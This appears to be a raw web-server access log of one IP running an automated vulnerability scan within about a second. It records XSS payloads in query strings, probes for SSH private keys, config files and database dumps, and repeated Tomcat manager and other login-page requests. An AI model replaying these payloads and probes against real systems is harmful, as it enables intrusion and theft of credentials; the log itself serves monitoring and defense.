[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/csprd/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/Model/sqlite3.db HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /js/zimbraMail/share/model/ZmSettings.js HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-setup.sh HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/admin/PhotoGallery2/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?uname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-uname%27%29%3E&command=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-command%27%29%3E&reverse=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-reverse%27%29%3E&cancel=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-cancel%27%29%3E&h=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-h%27%29%3E&logout=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-logout%27%29%3E&section=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-section%27%29%3E&gid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-gid%27%29%3E&input=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-input%27%29%3E&post_type=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_type%27%29%3E&page=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-page%27%29%3E&updated=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-updated%27%29%3E&charset=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-charset%27%29%3E&v=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-v%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api-docs/swagger.json HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /frontend/web/debug/default/view HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //mysql.sql HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /console/j_security_check HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //editor/ckeditor/samples/sample_posteddata.php HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.collector/configurations HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "OPTIONS / HTTP/1.1" -
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //portal-graphql HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zp/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //a.php HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/status HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //includes/config.~ HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.Z HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /tests/Zend/Http/Client/_files/testRedirections.php?redirection=3&param=<img/src=x%20onerror=alert(document.domain)> HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //dashboard/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.yml.new HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json/FNZ.ico HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.tar.z HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.tgz HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.inc.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //config/settings.old.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.db HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //manager/includes/config.inc.php.new HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.jar HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.json HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_rsa_3072 HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /common/admin/Jobs2/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/database.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.txt HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zipkin/ HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api-docs/swagger.yaml HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web/debug/default/view HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/Model/database.db HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //deploy.sh HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hcmprdfp/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?t=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-t%27%29%3E&comment=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-comment%27%29%3E&post_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post_id%27%29%3E&postid=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-postid%27%29%3E&config=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-config%27%29%3E&login=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-login%27%29%3E&paged=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-paged%27%29%3E&go=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-go%27%29%3E&tag_ID=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-tag_ID%27%29%3E&user_login=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-user_login%27%29%3E&part=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-part%27%29%3E&preview_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-preview_id%27%29%3E&_ajax_nonce=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-_ajax_nonce%27%29%3E&widget-id=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-widget-id%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_profiler/phpinfo.php HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.license/licenses/verify HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //site.sql HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //fck/editor/dialog/fck_spellerpages/spellerpages/server-scripts/spellchecker.php HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gallery/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /gallery/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "OPTIONS /api/v1 HTTP/1.1" -
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app.sqlite HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //app/config/parameters.ini.new HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /208.139.tar HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application.ini HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //a.html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //query HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /AsiCommon/Controls/ContentManagement/ContentDesigner/Telerik.Web.UI.DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //phpsso_server/caches/configs/system.php.~ HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET ///etc.1.json HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //wp-config.php.txt HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /CDGServer3/SystemConfig HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sapi/debug/default/view HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //aws.sh HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.report/reports HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?yPQJA=x HTTP/1.1" 226
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /id_rsa_4096 HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/HRPRODASP/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //sql.sql HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //_profiler/phpinfo HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?activated=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-activated%27%29%3E&trigger=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-trigger%27%29%3E&loggedout=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-loggedout%27%29%3E&script=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-script%27%29%3E&query=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-query%27%29%3E&file_name=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-file_name%27%29%3E&fname=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-fname%27%29%3E&options=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-options%27%29%3E&export=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-export%27%29%3E&post=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-post%27%29%3E&p=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-p%27%29%3E&action2=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-action2%27%29%3E&c=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-c%27%29%3E&destination=%27%3E%22%3Csvg%2Fonload=confirm%28%27xss-destination%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //api_docs HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zenphoto/zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /zp-core/setup/index.php HTTP/1.1" 196
[09/Jan/2026:10:55:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "OPTIONS /api/v2 HTTP/1.1" -
[09/Jan/2026:10:55:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
